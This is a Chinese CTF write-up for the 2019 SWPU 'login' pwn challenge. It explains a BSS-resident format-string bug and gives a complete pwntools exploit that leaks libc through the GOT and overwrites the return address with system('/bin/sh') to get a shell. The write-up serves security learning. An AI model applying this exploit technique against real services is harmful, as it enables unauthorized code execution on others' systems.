作为一个笨比选手,打的第二场CTF比赛是2019Swpu的线上赛,总共两个Pwn题,一个Fmtstr,一个堆题,只会做出来一个题(TTTTTTTTTTTTTCL)
FmtStr In BSS
保护措施
1 | $ checksec login |
1 | Arch: i386-32-little |
2 | RELRO: Partial RELRO |
3 | Stack: No canary found |
4 | NX: NX enabled |
5 | PIE: No PIE (0x8048000) |
程序没有PIE和栈保护,让我们更方便的利用漏洞,且题目给了libc文件
分析
我们可以发现是一个格式化字符串的漏洞,而且会与wllmmllw进行比对,正确则出退出循环,那么那么我们就有一个可以无限循环的格式化字符串漏洞的,进一步分析,可以知道写入值的变量位于bss段,这里可以利用对栈进行一些利用,利用栈中的地址作为中介,多次利用修改地址从而泄露出我们需要的函数的got表存放的地址
调试
1 | 0xffffd0f4 —▸ 0xffffd184 —▸ 0xffffd349 ◂— 0x6f6f722f ('/roo') |
2 | 0xffffd0f8 —▸ 0xffffd18c —▸ 0xffffd371 ◂— 'SHELL=/bin/bash' |
利用这里的两个地址指向的另外两个栈空间地址进行对某处栈的修改,从而利用Fmtstr打印出Address调试发现,在printf处栈中ebp和值和栈地址stack_ebp = ebp - 0x10 ,且偏移量为6所以可以通过 %6$p打印出ebp所处栈地址,进而取得ebp的值
然后随便取一个可用栈地址test_addr,再算出上述两个栈地址的偏移量,用$hn向两处写入我们test_addr + 2 和 test_addr,最后计算修改指向后的两个栈地址,写入我们我们需要泄漏函数的got表地址 ,这样test_addr指向的内容为got表的地址,然后用%n$s泄漏出got里面的内容
利用
总结后写出来的EXP
1 | from pwn import* |
2 | from LibcSearcher import LibcSearcher |
3 | #print the ret_addr from stack |
4 | #p = process('./login') |
5 | p = remote('108.160.139.79',9090) |
6 | elf = ELF('./login') |
7 | libc = ELF('./libc6_2.27.so') |
8 | context.log_level = 'debug' |
9 | #gdb.attach(p) |
10 | def NewAddr(address,modifiedAddress): |
11 | print('Modified Address:\t%x'%modifiedAddress) |
12 | modified_high = (modifiedAddress &0xffff0000) >> 16 |
13 | modified_low = modifiedAddress &0xffff |
14 | # |
15 | temp_low = (address + 2) &0xffff |
16 | print ('Temp_Low:\t%x'%temp_low) |
17 | payload1 = '%' + str(temp_low) + 'c' + '%21$hn' |
18 | p.sendline(payload1) |
19 | p.recvrepeat(0.5) |
20 | # |
21 | temp_high = (address) & 0xffff |
22 | print ('Temp_High:\t%x'%temp_high) |
23 | payload2 = '%' + str(temp_high) + 'c' + '%22$hn' |
24 | p.sendline(payload2) |
25 | p.recvrepeat(0.5) |
26 | # |
27 | payload3 = '%' + str(modified_high) + 'c' + '%57$hn' |
28 | p.sendline(payload3) |
29 | p.recvrepeat(0.5) |
30 | payload4 = '%' + str(modified_low) + 'c' + '%59$hn' |
31 | p.sendline(payload4) |
32 | p.recvrepeat(0.5) |
33 | #....................... |
34 | system_offset = 0X3CD10 |
35 | binsh_offset = 0x17B8CF |
36 | puts_got = elf.got['puts'] |
37 | puts_offset = 0x067360 |
38 | p.sendlineafter('name: ','FMYY') |
39 | #....................... |
40 | load1 = '%6$x' |
41 | p.sendlineafter('password: ',load1) |
42 | p.recvline() |
43 | ebp_addr = int(p.recvuntil('\n')[-9:-1],16) - 0x10 |
44 | NewAddr(ebp_addr + 0x10,puts_got) |
45 | p.sendline('%10$s') |
46 | puts_addr = u32(p.recvuntil('\xf7')[-4:].ljust(4,'\x00')) |
47 | print 'Puts_Addr:\t' + hex(puts_addr) |
48 | libcbase = puts_addr - puts_offset |
49 | system_addr = libcbase + system_offset |
50 | binsh_addr = libcbase + binsh_offset |
51 | print 'System_Addr:\t' + hex(system_addr) |
52 | print 'Binsh_Addr:\t ' + hex(binsh_addr) |
53 | ret_addr = ebp_addr + 0x4 |
54 | arg_addr = ebp_addr + 0xC |
55 | NewAddr(ret_addr,system_addr) |
56 | NewAddr(arg_addr,binsh_addr) |
57 | p.sendline('wllmmllw') |
58 | p.interactive() |